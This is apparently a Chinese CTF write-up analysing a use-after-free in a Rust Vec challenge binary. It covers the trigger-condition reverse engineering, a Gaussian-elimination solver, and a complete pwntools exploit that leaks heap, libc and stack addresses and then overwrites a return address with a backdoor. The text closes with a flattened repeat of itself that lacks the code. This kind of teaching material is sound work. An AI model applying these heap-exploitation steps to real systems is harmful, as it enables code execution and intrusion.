深入剖析 Rust Vec 的 UAF(Use After Free)漏洞及其利用方式
字数 1222 2025-08-22 12:23:18

Rust Vec UAF漏洞分析与利用教学文档

1. Rust Vec基础原理

1.1 Vec底层结构

Vec是Rust中基于动态数组实现的容器类型,其核心结构如下:

pub struct Vec<T> {
    ptr: *mut T,    // 指向元素内存块的起始地址
    len: usize,     // 当前存储的元素数量
    capacity: usize // 已分配的最大元素容量
}
  • capacity总是大于或等于len
  • 元素存储在堆内存中,由标准库分配器管理

1.2 内存分配特性

  • 初始创建时通常不分配内存,直到添加第一个元素时才分配
  • 扩容时会分配一块更大的内存(通常是原容量的两倍),并将现有元素移动过去
  • 提供O(1)时间复杂度的随机访问

1.3 安全机制

Rust的借用检查器确保:

  • 防止越界访问
  • 确保线程安全性(需要Arc<Mutex<Vec<T>>>)

2. 漏洞程序分析

2.1 主要功能

  1. 添加Vec对象:最多添加0x10个,无直接漏洞
  2. 删除对象:存在UAF漏洞
  3. 添加元素:限制最多添加2个元素
  4. 查看元素:存在一次性的泄漏漏洞

2.2 UAF触发条件

关键判断逻辑:

if (pwn::UAF_FLAG || (v23 = pwn::do_something(v24[0]), (v24[0] ^ v23) != 0xFFFFFFFF)) {
    // 正常流程
} else {
    pwn::UAF_FLAG = 1; // 触发UAF
}

触发条件:

  • pwn::do_something(v24[0]) ^ v24[0] == 0xFFFFFFFF
  • v24[0]为用户输入的id值

2.3 do_something函数分析

函数逻辑:

  1. 将输入id转换为二进制
  2. 从左到右依次检查每一位
  3. 如果某位为1,则执行pwn::mix函数进行异或操作
  4. 异或操作基于bss段上的32个全局数组值

2.4 泄漏漏洞

泄漏触发条件:

if (pwn::LEAK_FLAG == 1 && <i64 as pwn::Trait>::abs(1131796LL) == v23)

其中abs函数实现:

__int64 __fastcall <i64 as pwn::Trait>::abs(__int64 a1) {
    return a1 ^ 0x1177;
}

因此触发条件为:1131796 ^ 0x1177 == v23

3. 漏洞利用技术

3.1 利用步骤

  1. 触发UAF:通过计算正确的输入id值
  2. 泄漏堆地址
    alloc(0x80)
    append(0, [0x41]*2)
    free(uaf_trigger_id)
    free(0)
    view(0, 0)
    
  3. 泄漏libc地址
    alloc(0x4f0)
    alloc(0x4f0)
    append(1, [0x42]*2)
    free(1)
    view(1, 0)
    
  4. 泄漏栈地址:利用environ变量
  5. 覆盖返回地址:写入后门函数地址

3.2 关键计算

UAF触发id计算

将32个全局数组值视为32个方程的系数,求解满足条件的id值。使用高斯消元法解异或方程组:

// 高斯消元法解异或方程组
int gauss() {
    int r, c;
    for(r=0,c=0; c<n; ++c) {
        int t = r;
        for(int i=r; i<n; ++i)
            if(a[i][c]) { t=i; break; }
        if(!a[t][c]) continue;
        for(int i=c; i<=n; ++i) swap(a[r][i],a[t][i]);
        for(int i=r+1; i<n; ++i)
            if(a[i][c])
                for(int j=n; j>=c; --j)
                    a[i][j] ^= a[r][j];
        ++r;
    }
    if(r < n) {
        for(int i=r; i<n; ++i)
            if(a[i][n]) return 2;
        return 1;
    }
    for(int i=n-1; i>=0; --i) {
        for(int j=i+1; j<n; ++j)
            a[i][n] ^= a[i][j] & a[j][n];
    }
    return 0;
}

3.3 完整利用流程

  1. 计算触发UAF的id值(如3957556225)
  2. 泄漏堆地址
  3. 泄漏libc基地址
  4. 计算environ地址(栈地址)
  5. 利用UAF修改指针指向栈地址
  6. 覆盖返回地址为后门函数

4. 防御措施

  1. 正确实现Drop trait:确保释放资源时清空所有相关字段
  2. 使用Option包装指针:释放后将指针设为None
  3. 启用Rust安全检查:如边界检查、生命周期检查
  4. 避免直接操作裸指针:尽量使用安全抽象
  5. 审计unsafe代码:严格检查所有unsafe块的安全性

5. 漏洞利用完整EXP

from pwn import *

bin = ELF('./pwn')
lib = ELF('./libc.so.6')
context(arch='amd64')
p = process('./dockerfile/files/pwn')

def alloc(size):
    p.recvuntil(b'>')
    p.sendline(b'1')
    p.recvuntil(b'>')
    p.sendline(str(size).encode())

def free(index):
    p.recvuntil(b'>')
    p.sendline(b'2')
    p.recvuntil(b'>')
    p.sendline(str(index).encode())

def append(index, values):
    p.recvuntil(b'>')
    p.sendline(b'3')
    p.recvuntil(b'>')
    p.sendline(str(index).encode())
    p.recvuntil(b'>')
    p.sendline(str(len(values)).encode())
    for v in values:
        p.recvuntil(b'>')
        p.sendline(str(v).encode())

def view(index, subindex):
    p.recvuntil(b'>')
    p.sendline(b'4')
    p.recvuntil(b'>')
    p.sendline(str(index).encode())
    p.recvuntil(b'>')
    p.sendline(str(subindex).encode())

# 泄漏堆地址
alloc(0x80) # 0
append(0, [0x41]*2)
free(3957556225) # 触发UAF的id
free(0)
view(0, 0)
key = int(p.recvline().decode().split(' ')[2])
heap_addr = key << 12
log.info(f"{hex(heap_addr)=}")

# 泄漏libc地址
alloc(0x4f0) # 1
alloc(0x4f0) # 2
append(1, [0x42]*2)
free(1)
view(1, 0)
base_addr = int(p.recvline().decode().split(' ')[2]) - 0x1bcb20
environ_addr = base_addr + lib.sym['environ'] - 0x18
log.info(f"{hex(environ_addr)=}")
log.info(f"{hex(base_addr)=}")

# 准备修改指针
alloc(0x80) # 3
alloc(0x80) # 4
alloc(0x80) # 5
alloc(0x80) # 6
append(3, [0x41]*2)
free(6)
free(5)
free(4)
free(3)

# 修改指针指向environ地址
append(4, [(key + 1) ^ environ_addr])

# 分配并泄漏栈地址
alloc(0x80) # 7
alloc(0x80) # 8
alloc(0x80) # 9
view(9, 1135715) # 1131796 ^ 0x1177
[p.recvline() for _ in range(3)]
stack_addr = int(p.recvline().decode().split(' ')[4]) - 0x650 - 0x10
if stack_addr & 0xf == 8:
    stack_addr += 8
log.info(f"{hex(stack_addr)=}")

# 修改指针指向栈地址
alloc(0x80) # 10
alloc(0x80) # 11
free(10)
free(11)
append(11, [(key + 2) ^ stack_addr])

# 写入后门函数地址
alloc(0x80) # 12
alloc(0x80) # 13
backdoor = base_addr + 0x38A70
append(13, [backdoor]*2)

p.interactive()

6. 总结

本漏洞利用展示了如何通过精心构造的输入触发Rust Vec的UAF漏洞,结合泄漏漏洞实现任意代码执行。关键点包括:

  1. 理解Vec的内部结构和内存管理机制
  2. 分析条件判断逻辑找到触发点
  3. 解决异或方程组计算触发值
  4. 利用UAF修改指针实现地址泄漏
  5. 最终控制流劫持

这提醒我们在使用Rust的unsafe特性时需要格外小心,确保资源释放的正确性和指针操作的安全性。

Rust Vec UAF漏洞分析与利用教学文档 1. Rust Vec基础原理 1.1 Vec底层结构 Vec是Rust中基于动态数组实现的容器类型,其核心结构如下: capacity 总是大于或等于 len 元素存储在堆内存中,由标准库分配器管理 1.2 内存分配特性 初始创建时通常不分配内存,直到添加第一个元素时才分配 扩容时会分配一块更大的内存(通常是原容量的两倍),并将现有元素移动过去 提供O(1)时间复杂度的随机访问 1.3 安全机制 Rust的借用检查器确保: 防止越界访问 确保线程安全性(需要 Arc<Mutex<Vec<T>>> ) 2. 漏洞程序分析 2.1 主要功能 添加Vec对象 :最多添加0x10个,无直接漏洞 删除对象 :存在UAF漏洞 添加元素 :限制最多添加2个元素 查看元素 :存在一次性的泄漏漏洞 2.2 UAF触发条件 关键判断逻辑: 触发条件: pwn::do_something(v24[0]) ^ v24[0] == 0xFFFFFFFF v24[0] 为用户输入的id值 2.3 do_ something函数分析 函数逻辑: 将输入id转换为二进制 从左到右依次检查每一位 如果某位为1,则执行 pwn::mix 函数进行异或操作 异或操作基于bss段上的32个全局数组值 2.4 泄漏漏洞 泄漏触发条件: 其中 abs 函数实现: 因此触发条件为: 1131796 ^ 0x1177 == v23 3. 漏洞利用技术 3.1 利用步骤 触发UAF :通过计算正确的输入id值 泄漏堆地址 : 泄漏libc地址 : 泄漏栈地址 :利用environ变量 覆盖返回地址 :写入后门函数地址 3.2 关键计算 UAF触发id计算 : 将32个全局数组值视为32个方程的系数,求解满足条件的id值。使用高斯消元法解异或方程组: 3.3 完整利用流程 计算触发UAF的id值(如3957556225) 泄漏堆地址 泄漏libc基地址 计算environ地址(栈地址) 利用UAF修改指针指向栈地址 覆盖返回地址为后门函数 4. 防御措施 正确实现Drop trait :确保释放资源时清空所有相关字段 使用Option包装指针 :释放后将指针设为None 启用Rust安全检查 :如边界检查、生命周期检查 避免直接操作裸指针 :尽量使用安全抽象 审计unsafe代码 :严格检查所有unsafe块的安全性 5. 漏洞利用完整EXP 6. 总结 本漏洞利用展示了如何通过精心构造的输入触发Rust Vec的UAF漏洞,结合泄漏漏洞实现任意代码执行。关键点包括: 理解Vec的内部结构和内存管理机制 分析条件判断逻辑找到触发点 解决异或方程组计算触发值 利用UAF修改指针实现地址泄漏 最终控制流劫持 这提醒我们在使用Rust的unsafe特性时需要格外小心,确保资源释放的正确性和指针操作的安全性。